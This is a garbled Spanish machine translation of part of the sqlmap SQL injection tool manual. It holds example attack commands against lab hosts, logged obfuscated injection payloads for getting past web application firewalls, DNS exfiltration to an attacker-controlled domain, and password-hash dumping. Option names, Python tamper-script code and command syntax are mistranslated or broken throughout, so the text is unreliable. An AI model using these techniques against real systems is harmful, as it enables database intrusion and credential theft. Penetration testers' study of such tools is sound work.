A veces las aplicaciones web o en la tecnología de inspección entre destruye la sesión si no se realiza un cierto número de solicitudes sin éxito. Esto puede ocurrir durante la fase de detección de sqlmap o cualquiera de los tipos de inyección de SQL ciegos cuando se explota. Razón por la cual es que la carga útil de SQL no necesariamente produce una salido, por lo que podría plantear una señal para bien de la gestión de sesión de aplicación o de la tecnología de inspección.
Para evitar esta limitación establecida por el destino, puede proporcionar ninguna opción (o combinación de):
--safe-url : Dirección URL para visitar con frecuencia durante la prueba. --safe post : HTTP POST para enviar datos a una dirección URL segura dado. --safe-requisito : Cargar y utilizar petición HTTP segura desde un archivo. --safe Frec : Prueba solicita entre dos visitas a un lugar seguro dado.
De esta manera, sqlmap visitará todos un número predefinido de solicitudes de un cierto seguroURL sin realizar ningún tipo de inyección en contra de ella.
Desactive la codificación URL de valores de
parámetros
Cambiar: --skip-urlencode
Según la colocación de parámetro (por ejemplo, GET) su valor podría URL codificada por defecto.En algunos casos, los servidores web de back-end no siguen las normas RFC y requieren valores que se van a enviar en su forma no codificada en bruto. Use --skip-urlencode en ese tipo de casos.
Opciones: --csrf token y --csrf-url
Muchos de los sitios incorporan la protección anti-CSRF en forma de fichas, los valores de campos ocultos que se establecen al azar durante cada respuesta de búsqueda. sqlmap automáticamente tratará de reconocer y derivación de este tipo de protección, pero hay opciones--csrf token y --csrf-url que se puede utilizar para afinar Furter. Opción --csrf token se puede utilizar para establecer el nombre del valor oculto que contiene el token aleatorio. Esto es útil en los casos en los sitios web utilizan nombres no estándar para tales campos. Opción --csrf-url puede ser utilizado para la recuperación del valor del testigo de la dirección URL arbitraria. Esto es útil si la URL de destino vulnerable no contiene el valor del testigo es necesario, en primer lugar, pero es necesario extraerlo de alguna otra ubicación.
Fuerza el uso de SSL / HTTPS
Cambiar: --force-ssl
En caso de que el usuario quiere forzar el uso de SSL / HTTPS hacia el objetivo, se puede usar este parámetro. Esto puede ser útil en los casos en que las
direcciones URL están siendo recogidos por el uso de la opción --crawl o cuando el registro de eructar se proporciona con la opción -l .
Evaluar el código Python personalizada durante
cada solicitud
Opción: --eval
En caso de que el usuario quiere cambiar (o) añadir nuevos valores de los
parámetros, la mayoría probablemente a causa de alguna dependencia conocida, que puede proporcionar a sqlmap un código python personalizado con opción --eval que serán evaluados antes de cada solicitud.
Por ejemplo:
$ Python sqlmap.py -u "http: //www.target.com/vuln.php id = 1 y = hash de c4ca4238a0b9238 \?
20dcc509a6f75849b "--eval =" hashlib importación; picadillo = hashlib.md5 (id) .hexdigest () "
Cada solicitud de ejecución se alcance el valor del parámetro GET reevaluar de hash para contener un hash MD5 fresca digerir para el valor actual del
parámetro ID .
Mejoramiento
Estos conmutadores se pueden utilizar para optimizar el rendimiento de sqlmap.
Cambiar: -o
Este interruptor es un alias que establece implícitamente las siguientes opciones e interruptores:
--mantener viva --null conexión
--threads = 3 si no se establece en un valor más alto.
Lea a continuación para más detalles acerca de cada interruptor.
la predicción de salida
Cambiar: --predict-salida
Este interruptor se utiliza en el algoritmo de inferencia estadística para la predicción secuencial de caracteres de valor siendo recuperados. Tabla
estadística con los valores de carácter más prometedores está siendo construido en base a los elementos que figuran en el txt / common-outputs.txt combinado con el conocimiento de la enumeración de corriente utilizada. En caso de que el valor se encuentra entre los valores de salida comunes, ya que el proceso avanza, tablas de caracteres subsiguientes se estrecharon cada vez más. Si se usa en combinación con la recuperación de las entidades DBMS comunes, como ocurre con los nombres de tabla y sistema de privilegios, velocidad es significativo. Por supuesto, puede editar el archivo de salidas de común acuerdo con sus
necesidades, si, por ejemplo, se observa patrones comunes en los nombres de tabla de base de datos o similares.
Tenga en cuenta que este interruptor no es compatible con --threads interruptor.
Mantenimiento de conexiones HTTP
Cambiar: --keep-alive
Esto indica a sqlmap de usar (s) de conexiones HTTP persistentes.
Tenga en cuenta que este interruptor es incompatible con --proxy interruptor.
NULL conexión HTTP
Interruptor: --null conexión
Hay tipos especiales de petición HTTP que se pueden utilizar para recuperar el tamaño de la respuesta HTTP sin conseguir el cuerpo HTTP. Este conocimiento puede ser utilizado en la técnica de inyección ciega de
distinguir verdadera de falsas respuestas. Cuando se proporciona este interruptor, sqlmap tratará de probar y explotar dos diferentes de conexión
NULL técnicas:Rango y CABEZA . Si cualquiera de estos está soportado por el servidor Web de destino, acelerar vendrá del ahorro evidente de ancho de banda utilizado.
Estas técnicas se detallan en el libro blanco de ruptura Actuaciones en Blind SQL Injection - Tome 2 (ancho de banda) .
Tenga en cuenta que este interruptor es incompatible con el interruptor de sólo --text .
HTTP (S) concurrente solicitudes
Opción: --threads
Es posible especificar el número máximo de HTTP concurrente (S) las solicitudes que se permite sqlmap hacer. Esta función se basa en múltiples hilos concepto y hereda tanto en su pro y sus contras.
Esta cuenta se aplica a los interruptores de fuerza bruta y cuando el ir a buscar los datos se realiza a través de cualquiera de las técnicas de inyección SQL
ciegos. Para este último caso, sqlmap primero calcula la longitud de la salida de la consulta en un solo hilo, a continuación, inicia el multi-threading. Cada hilo se asigna para recuperar un carácter de la salida de la consulta. El hilo se termina cuando se recupera ese personaje - se tarda hasta 7 HTTP (S) solicita con el algoritmo de bisección aplicado en sqlmap.
El número máximo de solicitudes simultáneas se establece en 10 , por razones de rendimiento y fiabilidad sitio.
Tenga en cuenta que esta opción no es compatible con el interruptor --predict-salida .
Inyección
Estas opciones se pueden utilizar para especificar qué parámetros para probar, proporcionar cargas útiles de inyección de secuencias de comandos
personalizados y manipulación opcionales.
comprobable parámetro (s)
Opciones: -p y --skip
Por defecto todas las pruebas sqlmap GET parámetros y la
POST parámetros. Cuando el valor de--level es> = 2 pone a prueba también HTTP galleta de valores de cabecera. Cuando este valor es> = 3 se pone a prueba también HTTP User-Agent y HTTP Referer valor de la cabecera de las inyecciones SQL. Sin embargo, es posible especificar manualmente una lista separada por comas de parámetro (s) que desea sqlmap a prueba. De este modo evita la dependencia del valor de --level también.
Por ejemplo, para la prueba de GET parámetro de Identificación y para HTTP User-Agentsolamente, proporcionar -p "Identificación, user-agent" .
En caso de que el usuario quiere excluir ciertos parámetros de las pruebas, se puede utilizar la opción --skip . Esto es especialmente útil en los casos cuando se desea utilizar un valor más alto para --level y probar todos los parámetros
disponibles con exclusión de algunas de las cabeceras HTTP normalmente está probando.
Por ejemplo, para omitir las pruebas de cabecera HTTP User-Agent y el encabezado HTTPReferer en --level = 5 , proporcionar skip = "user-agent, árbitro" .
punto de inyección URI
Hay casos especiales en los puntos de inyección está dentro del propio
URI. sqlmap no realiza ninguna prueba automática contra sendas URI, a no ser señalado de forma manual para. Se tiene que especificar estos puntos de
inyección en la línea de comandos añadiendo un asterisco ( * ) después de cada punto URI que desea sqlmap para probar y explotar una inyección SQL.
Esto es particularmente útil cuando, por ejemplo, de Apache servidor web mod_rewrite módulo está en uso u otras tecnologías similares. Un ejemplo de línea de comandos válida sería:
$ Python sqlmap.py -u "http: // TargetURL / parám1 / valor1 * / param2 / valor2 /"
Forzar el DBMS
Opción: --dbms
Por defecto sqlmap detecta automáticamente el sistema de gestión de base de datos back-end de la aplicación web. sqlmap es totalmente compatible con los siguientes sistemas de gestión de base de datos:
MySQL Oráculo PostgreSQL Microsoft SQL Server acceso Microsoft SQLite Firebird Sybase SAP MaxDB DB2
Si por alguna razón sqlmap no puede detectar el DBMS de back-end vez a la inyección de SQL ha sido identificado o, si se quiere evitar una fingeprint activo, que puede proporcionar el nombre del programa de fondo a sí mismo (por ejemplo, DBMS PostgreSQL ). Para MySQL y Microsoft SQL Server proporcionan ellos, respectivamente, en forma de MySQL <versión> y Microsoft SQL Server
<versión> , donde <versión> es una versión válida para el DBMS; por ejemplo 5.0 de MySQL y 2005 para Microsoft SQL Server.
En caso de que proporcione --fingerprint junto con --dbms , sqlmap sólo se
llevará a cabo la extensa huella digital para el sistema de gestión de base de datos especificado solamente, lea a continuación para más detalles.
Tenga en cuenta que esta opción es no obligatorio y se recomienda utilizarlo sólo si está absolutamente seguro sobre el sistema de gestión de base de datos back-end. Si no lo saben, y mucho sqlmap automáticamente las huellas digitales para tí.
Forzar el nombre del sistema operativo del sistema
de gestión de base de datos
Opción: --os
Por defecto sqlmap detecta automáticamente el sistema operativo subyacente sistema de gestión de base de datos back-end de la aplicación web cuando esta información es una dependencia de cualquier otro interruptor o facultad
prevista. Por el momento los sistemas operativos totalmente compatibles son:
Linux ventanas
Es posible forzar el nombre del sistema operativo si ya sabe que para que sqlmap evitará hacerlo en sí.
Tenga en cuenta que esta opción es no obligatorio y se recomienda utilizarlo sólo si está absolutamente seguro sobre el sistema de gestión de base de datos del sistema operativo subyacente de fondo. Si no lo saben, y mucho sqlmap identifica automáticamente por usted.
Forzar el uso de números grandes para invalidar
los valores
Cambiar: --invalid-bignum
En los casos en que sqlmap necesita para invalidar el valor del parámetro original (por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con este interruptor es posible forzar el uso de valores enteros grandes para cumplir el mismo objetivo (por ejemplo id = 99999999 ).
Forzar el uso de operaciones lógicas para invalidar
los valores
Cambiar: --invalid-lógica
En los casos en que sqlmap necesita para invalidar el valor del parámetro original (por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de operaciones booleanas para cumplir el mismo objetivo (por ejemplo id = 13 y 18 = 19 ).
Forzar el uso de cadenas aleatorias para invalidar
los valores
Cambiar: --invalid cuerdas
En los casos en que sqlmap necesita para invalidar el valor del parámetro original (por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con este interruptor es posible forzar el uso de cadenas aleatorias para cumplir el mismo objetivo (por ejemplo id = akewmc ).
Desactivar el mecanismo de carga útil de colada
Cambiar: --no-yeso
Al recuperar los resultados, sqlmap utiliza un mecanismo en el que todas las entradas se están fundidas a tipo de cadena y se sustituyen por un espacio en blanco en caso de NULL valores. Que se está realizando para evitar estados erróneos (por ejemplo, la concatenación de NULL valores con los valores de cadena) y fácil el proceso de recuperación de datos en sí. Sin embargo, se han reportado casos (por ejemplo, las versiones anteriores de MySQL DBMS), donde este mecanismo necesario para ser convertido-off (uso de este parámetro) debido a problemas con la recuperación de datos en sí (por ejemplo Ninguno valores son devueltos).
Desactive cadena de mecanismo de escape
Cambiar: --no-fuga
En los casos en que sqlmap necesita utilizar (comilla simple delimitado) los valores de cadena dentro de cargas útiles (por ejemplo, SELECT 'parametro' ), son
automáticamente se escaparon aquellos valores (por ejemplo, SELECT CHAR (102) + CHAR (111) + CHAR (111) + CHAR (98) + CHAR (97) + CHAR (114) ). Eso se está
haciendo debido a dos cosas: la ofuscación del contenido de la carga útil y prevenir posibles problemas con los mecanismos que escapan de consulta (por ejemplo magic_quotes y / o mysql_real_escape_string ) en el servidor back-end. El usuario puede utilizar este interruptor para apagarlo (por ejemplo, para reducir el tamaño de carga útil).
Encargo de carga útil de inyección
Opciones: --prefix y --suffix
En algunas circunstancias el parámetro vulnerable es explotable sólo si el usuario proporciona un sufijo específico que se anexa a la carga de la inyección. Otro escenario donde estas opciones vienen en sí misma ofrece muy útil cuando el usuario ya sabe que la sintaxis de consulta y quieren detectar y explotar la
inyección de SQL, proporcionando directamente un prefijo y un sufijo de carga útil de inyección.
Ejemplo de código fuente vulnerables:
$ Query = "SELECT * FROM usuarios WHERE id = ( '" $ _GET. [' Id ']. "') LIMIT 0, 1";
Para detectar y explotar esta inyección SQL, puede dejar que sqlmap detectar las fronteras(como en la combinación de prefijo y un sufijo de carga útil de SQL) para que durante la fase de detección, o proporcionar por su cuenta.
Por ejemplo:
$ Python sqlmap.py -u "http: //192.168.136.131/sqlmap/mysql/get_str_brackets.php \
? Id = 1 "Identificación -p --prefix" ') "--suffix" Y (' abc '=' abc " [...]
Esto dará lugar a todas las solicitudes sqlmap para terminar en una consulta de la siguiente manera:
$ Query = "SELECT * FROM usuarios WHERE id = ( '1') <payload> Y ( 'abc' = 'abc') LIMIT 0, 1";
Lo cual hace que la consulta sintácticamente correcta.
En este sencillo ejemplo, sqlmap podría detectar la inyección de SQL y se
aprovechan de ella sin necesidad de proporcionar límites personalizados, pero a veces en aplicaciones del mundo real, es necesario proporcionarla cuando el punto de inyección está dentro anidados UNIRSE consultas, por ejemplo.
Manipulación indebida de datos de inyección
Opción: --tamper
sqlmap en sí no hace la ofuscación de la carga útil enviada, a excepción de cadenas entre comillas simples reemplazados por sus CHAR () la representación -igual.
Esta opción puede ser muy útil y potente en situaciones donde hay un débil mecanismo de validación de entrada entre el usuario y el sistema de gestión de base de datos back-end. Este mecanismo usualmente es una rutina de validación de entrada de desarrollo propio llamado por el código fuente de la aplicación, un dispositivo IPS de nivel empresarial caro o un firewall de aplicaciones Web
(WAF). Todas las palabras de moda para definir el mismo concepto, implementado de una manera diferente y que cuesta mucho dinero, por lo general.
Para aprovechar las ventajas de esta opción, se debe sqlmap con una lista
separada por comas de las secuencias de comandos de manipulación y esto va a procesar la carga útil y devolverlo transformado. Puede definir sus propias
secuencias de comandos de manipulación indebida, utilizar los sqlmap del pisón / carpeta o editarlos, siempre y cuando ellos concatenar separados por comas como valor de la opción --tamper (por ejemplo --tamper = "entre, randomcase" ).
El formato de una secuencia de comandos de manipulación válida es la siguiente:
# Importaciones necesarias
de lib.core.enums importar PRIORIDAD
# Definir cual es el orden de aplicación de los guiones de sabotaje contra # la carga útil
__priority__ = PRIORIDAD . NORMAL def manipular ( carga útil ): '' '
Descripción de la secuencia de comandos de manipulación indebida ' ''
RetVal = carga útil
# Su código de manipulación de la carga útil original, # Devolver la carga útil manipulado
retorno RetVal
Puede comprobar las secuencias de comandos de manipulación válidos y utilizables en lamanipulación indebida / directorio.
Ejemplo de MySQL contra un objetivo suponiendo que los > caracteres, espacios y de capitalSELECT cadena están prohibidos:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" - \ sabotaje sabotaje / between.py, sabotaje / randomcase.py, sabotaje /
space2comment.py -v 3
[hh: mm: 03] [DEBUG] La limpieza de los parámetros de configuración [Hh: mm: 03] [INFO] script de carga de sabotaje "entre"
[Hh: mm: 03] [INFO] script de carga de sabotaje 'randomcase'
[Hh: mm: 03] [INFO] la carga de la escritura de sabotaje 'space2comment' [...]
[Hh: mm: 04] [INFO] prueba 'y ciego booleano de base - WHERE o HAVING'
[Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 1369 = 7706 / ** / Y / ** / (4092 = 4092 [Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 9267 = 9267 / ** / Y / ** / (4057 = 4057 [Hh: mm: 04] [CARGA] 1 / ** / y / ** / 950 = 7041
[...]
[Hh: mm: 04] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - cláusula WHERE o HAVING
'
[Hh: mm: 04] [CARGA] 1 / ** / y / ** / (SELECT / ** / 9921 / ** / FROM (SELECT / ** / Count (*), CONC
AT (CHAR (58,117,113,107,58), (/ ** / (caso SELECT / ** / cuándo / ** / (9921 = 9921) / ** / then / ** / 1 /
** / Else / ** / 0 / ** / END)), Char (58,106,104,104,58), suelos (rand (0) * 2)) x / ** / DE / ** / Información
rmation_schema.tables / ** / grupo / ** / BY / ** / x) a)
[Hh: mm: 04] [INFO] GET parámetro 'id' es 'MySQL> = 5.0 y basada en el error - WHERE o
cláusula HAVING inyectable ' [...]
Detección
Estas opciones se pueden usar para personalizar la fase de detección.
Nivel
Opción: --level
Esta opción requiere un argumento que especifica el nivel de pruebas que desee realizar. Haycinco niveles. El valor por defecto es 1 , donde se llevan a cabo número limitado de pruebas (solicitudes). A la inversa, el nivel de 5 probará más detallados para un número mucho mayor de cargas útiles y los límites (como en par de prefijo y el sufijo carga útil SQL). Las cargas utilizadas por sqlmap se especifican en el archivo de texto XML / payloads.xml . Siguiendo las instrucciones en la parte superior del archivo, si sqlmap pierde una inyección, debe ser capaz de añadir su carga útil (s) para probar también!
No sólo esta opción afecta a que la carga útil sqlmap intentos, pero también por los que se toman los puntos de inyección en el examen: GET y parámetros POST están siempre a prueba, valores de cabecera de cookies HTTP se prueban desde el nivel 2 / Referer valor encabezados 'y HTTP User-Agent se pone a prueba de nivel 3 .
Con todo, más difícil es detectar una inyección SQL, cuanto mayor sea el --level debe ajustarse.
Se recomienda encarecidamente a mayor sea este valor antes de informar a la lista de correo que sqlmap no es capaz de detectar un cierto punto de inyección.
Riesgo
Opción: --risk
Esta opción requiere un argumento que especifica el riesgo de pruebas que desee realizar. Haycuatro valores de riesgo. El valor por defecto es 1 , que es inofensiva para la mayoría de los puntos de inyección SQL. Valor de riesgo 2 añade al nivel predeterminado para las pruebas consulta pesada inyecciones SQL basados en el tiempo y el valor 3 añade también O basados en pruebas de inyección SQL.
En algunos casos, como una inyección de SQL en una ACTUALIZACIÓN comunicado, la inyección de un OR de carga útil con base puede conducir a una actualización de todas las entradas de la tabla, lo que ciertamente no es lo que quiere el
atacante. Por esta razón y otras esta opción se ha introducido: el usuario tiene control sobre qué cargas se hacen la prueba, el usuario puede elegir
arbitrariamente utilizar también los potencialmente peligrosos. De acuerdo con la opción anterior, las cargas útiles utilizados por sqlmap se especifican en el archivo de texto XML / payloads.xml y que son libres de editar y añadir su propietaria.
Opciones: --string , --no-secuencia , --regexp y --code
Por defecto, la distinción de una verdadera consulta de un falso uno (concepto áspera detrás de vulnerabilidades de inyección SQL ciega basada en booleanas) se realiza mediante la comparación del contenido de la página peticiones
inyectado con el contenido de la página no se ha inyectado originales. No siempre este concepto funciona porque a veces los cambios de contenido de página en cada actualización del aun no inyectar algo, por ejemplo, cuando la página tiene un contador, un banner de publicidad dinámica o cualquier otra parte del HTML que hayan sido transformados de forma dinámica y puede cambiar en el tiempo, no sólo en consecuencia, a la entrada del usuario. Para eludir este límite, sqlmap se esfuerza por identificar estos fragmentos de los cuerpos de respuesta y tratar en consecuencia. A veces puede fallar, es por eso que el usuario puede
proporcionar una cadena ( --string opción), que debe estar presente en la página original (aunque no es un requisito) y en todas las páginas de consulta inyecta cierto, pero que es no en el los falsos. En lugar de cadena estática, el usuario puede proporcionar una expresión regular ( --regexp opción). Alternativamente, el usuario puede proporcionar una (cadena --no-secuencia opción) que
es no presente en la página original, y no en todas las páginas de consulta inyectados cierto, pero aparece siempre en los falsos.
Tales datos es fácil para un usuario recuperar, simplemente tratar de inyectar en el parámetro afectado un valor no válido y comparar manualmente el contenido de la página original (no inyectada) con el contenido de la página equivocada
inyectado. De esta manera la distinción se basa en la presencia de cadena o expresión regular.
En los casos en que el usuario sabe que la distinción de una verdadera consulta de un falsouno puede hacerse utilizando el código HTTP (por ejemplo, 200 para la verdadera y 401 para elFalso ), que puede proporcionar esa información a sqlmap (por ejemplo --code = 200 ).
Interruptores: --text-solo y --titles
En los casos en que el usuario sabe que la distinción de una verdadera consulta de un falsouno puede hacerse utilizando título HTML (por
ejemplo Bienvenido a Verdadero y Forbidden deFalso ), que a su vez puede
convertirse en una comparación basada en el título utilizando los interruptores --titles .
En los casos con gran cantidad de contenido activo (por ejemplo, secuencias de comandos, se incrusta, etc.) en el cuerpo de las respuestas HTTP ', puede filtrar páginas (switch --text de sólo) simplemente por su contenido textual. De esta manera, en un buen número de casos, se puede sintonizar automáticamente el motor de detección.
técnicas
Estas opciones se pueden utilizar para ajustar el ensayo de técnicas específicas de inyección SQL.
técnicas de inyección SQL para la prueba de
Opción: --technique
Esta opción se puede utilizar para especificar qué tipo de inyección SQL para detectar si existen.Por defecto sqlmap pruebas para todos los tipos / técnicas que soporta.
En determinadas situaciones, es posible que desee probar sólo para uno o pocos tipos específicos de pensamiento de inyección SQL y aquí es donde esta opción entra en juego.
Esta opción requiere un argumento. Tal argumento es una cadena compuesta por cualquier combinación de B , E , U , S , T y Q caracteres, donde cada letra representa una técnica diferente:
B : ciega a base de Boole E : basado Error
T basado en consultas Unión: S : Stacked consultas
T : ciega basada en Tiempo Q consultas Inline:
Por ejemplo, puede proporcionar ES si desea probar y explotar únicos tipos de inyección a base de errores y consultas SQL apilados. El valor por defecto es BEUSTQ .
Observe que la cadena debe incluir consultas apilados carta técnica, S , cuando se desea acceder al sistema de archivos, toma de control del sistema operativo o de acceso a secciones del Registro de Windows.
Segundos para retrasar la respuesta de DBMS para
inyección SQL ciega basada en el tiempo
Opción: --time-sec
Es posible ajustar los segundos para retrasar la respuesta cuando las pruebas de inyección SQL ciega basada en el tiempo, proporcionando la --time-sec opción seguido por un número entero.Por defecto su valor se establece en 5 segundos .
Número de columnas de la inyección de consulta
SQL UNION
Opción: --union-cols
Por defecto sqlmap pruebas para consulta UNION técnica de inyección SQL con 1 a 10 columnas.Sin embargo, este rango se puede aumentar hasta 50 columnas, proporcionando una mayor --level valor. Ver el apartado correspondiente para más detalles.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección SQL con un rango específico de columnas, proporcionando la herramienta con la opción --union-colsseguido de una serie de números enteros. Por ejemplo, 12-16 significa que las pruebas de inyección de SQL consulta UNION mediante el uso de 12 hasta 16 columnas.
Caracteres utilizar para la prueba de inyección de
consulta SQL UNION
Opción: --union-char
Por defecto sqlmap pruebas para la técnica de inyección SQL utilizando consulta de unión NULLcarácter. Sin embargo, proporcionando un mayor --level valor sqlmap se lleva a cabo pruebas también con un número aleatorio, porque hay algunos casos donde las pruebas de esquina consulta de unión con NULL fallan, mientras que con un número entero aleatorio tienen éxito.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección SQL con un carácter específico utilizando la opción --union-char con valor de carácter deseado (por ejemplo--union-char 123 ).
Tabla a utilizar en la inyección de la parte de
consulta SQL UNION
Opción: --union -desde
En algunos casos inyección UNIÓN consulta SQL hay una necesidad de hacer cumplir el uso del nombre de la tabla válida y accesible en DE cláusula. Por ejemplo, Microsoft Access requiere el uso de dicha tabla. Sin proporcionar inyección de consulta SQL de un sindicato no va a ser capaz de realizar correctamente (por ejemplo --union-from = usuarios ).
exfiltración ataque DNS
Opción: --dns-dominio
Exfiltración DNS ataque de inyección SQL se describe en el documento
de recuperación de datos de más de DNS de ataques de inyección SQL , mientras que la presentación de su implementación en el interior sqlmap se puede
encontrar en las diapositivas exfiltración DNS mediante sqlmap .
Si el usuario es el control de una máquina registrada como un servidor de dominio DNS (por ejemplo, dominio attacker.com ) se puede activar este ataque mediante el uso de esta opción (por ejemplo --dns-dominio attacker.com ). Los requisitos previos para que funcione es ejecutar un sqlmap con administrador privilegios (uso del puerto privilegiado 53 ) y que una técnica normal (ciego) está disponible para su explotación. Eso es únicamente con el propósito de este ataque es acelerar el proceso de recuperación de datos en caso de que al menos una técnica ha sido identificado (en el mejor ciego basado en el tiempo caso). En caso de que las
técnicas de consulta ciegos o unión a base de error están disponibles que se saltará como esos son los preferidos por defecto.
ataque de segundo orden
Opción: --second orden
De segundo orden ataque de inyección SQL es un ataque en el que se muestra resultado (s) de una carga útil se inyecta en una página vulnerables (reflejado) en el otro (por ejemplo, el marco).Por lo general, eso está pasando por el
almacenamiento de base de datos de usuario proporcionó información en la página inicial vulnerables.
Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección SQL utilizando la opción --second orden con la dirección URL de la página web en la que se muestran los resultados.
Huella dactilar
sistema de huella digital extensa base de datos de
gestión
Interruptores: -f o --fingerprint
Por defecto de huellas dactilares sistema de gestión de base de datos back-end de la aplicación web es manejado automáticamente por sqlmap. Justo después de que finalice la fase de detección y el usuario con el tiempo se le solicita con una elección de qué parámetro vulnerable a utilizar más adelante, las huellas
dactilares sqlmap el sistema de gestión de base de datos back-end y continúa con la inyección por saber qué sintaxis SQL, dialecto y consultas de usar para
proceder con el ataque dentro de los límites de la arquitectura de base de datos.
Si por alguna instancia que desea llevar a cabo una extensa base de datos de huellas dactilares sistema de gestión basado en diversas técnicas como dialectos SQL específicas y mensajes de error dentro de banda, puede proporcionar el interruptor --fingerprint . sqlmap va a realizar muchas más solicitudes y las huellas digitales de la versión exacta de DBMS y, cuando sea posible, el sistema operativo, la arquitectura y el nivel de parche.
Si desea que la huella digital sea resultado aún más preciso, también puede proporcionar el interruptor -b o --banner .
Enumeración
Estas opciones se pueden utilizar para enumerar el sistema de gestión de base de datos de información, estructura de fondo y los datos contenidos en las tablas. Por otra parte usted puede ejecutar sus propias sentencias SQL.
recuperar todos
Cambiar: --all
Este interruptor puede ser utilizado en situaciones en las que el usuario quiere recuperar todo remotamente accesible mediante el uso de un único
conmutador. Esto no es recomendable ya que generará gran número de peticiones de recuperación de datos útiles y inútiles.
Bandera
Cambiar: -b o --banner
La mayoría de los sistemas modernos de gestión de base de datos tienen una función y / o una variable de entorno que devuelve la versión del sistema de gestión de base de datos y, finalmente, detalles sobre su nivel de parche, el sistema subyacente. Por lo general, la función es la versión () y la variable de entorno se @@ version , pero esto puede variar dependiendo de los DBMS de destino.
Ejemplo contra un objetivo de Oracle:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" - \
-bandera [...]
[Xx: xx: 11] [INFO] bandera ir a buscar
La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
usuario de la sesión
Cambiar: --current usuario
Con este interruptor es posible recuperar los usuarios del sistema de gestión de base de datos que está llevando a cabo de manera efectiva la consulta en el DBMS de back-end de la aplicación web.
base de datos actual
Cambiar: --current-db
Con este interruptor es posible recuperar el nombre de la base de datos del sistema de gestión de base de datos que la aplicación web está conectado.
nombre de host del servidor
Cambiar: --hostname
Con este conmutador es posible para recuperar el nombre del sistema de gestión de base de datos.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" - \ nombre de host
[...]
[Xx: xx: 04] [INFO] ir a buscar el nombre de host del servidor [Xx: xx: 04] [INFO] recuperado: debian-5.0-i386
nombre de host: 'debian-5.0-i386'
Detectar si el usuario de la sesión es un
administrador de la base
Cambiar: --es-dba
Es posible detectar si la base de datos de gestión de sesión del sistema de usuario actual es un administrador de base de datos, también conocida como DBA. sqlmap volverá Verdadero si lo es, viceversa Falso .
los usuarios del sistema de gestión de base de
datos de la lista
Switch: --users
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información sobre los usuarios DBMS, es posible enumerar la lista de usuarios.
Lista de crack y de gestión de base de datos de los
usuarios del sistema hashes de contraseñas
Switch: --passwords
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que contiene información acerca de las contraseñas de los usuarios de DBMS, es posible enumerar los hashes de contraseñas para cada usuario del sistema de gestión de base de datos. sqlmap primero enumerar los usuarios, a continuación, los diferentes hashes de contraseñas para cada uno de ellos.
Ejemplo frente a un objetivo de PostgreSQL:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" - \ contraseñas -v 1
[...]
DBMS PostgreSQL:
[hh: mm: 38] [info] ir a buscar a los usuarios de bases de datos hashes de contraseñas
¿desea utilizar el ataque de diccionario sobre hashes de contraseñas recuperadas? [Y / n / q] y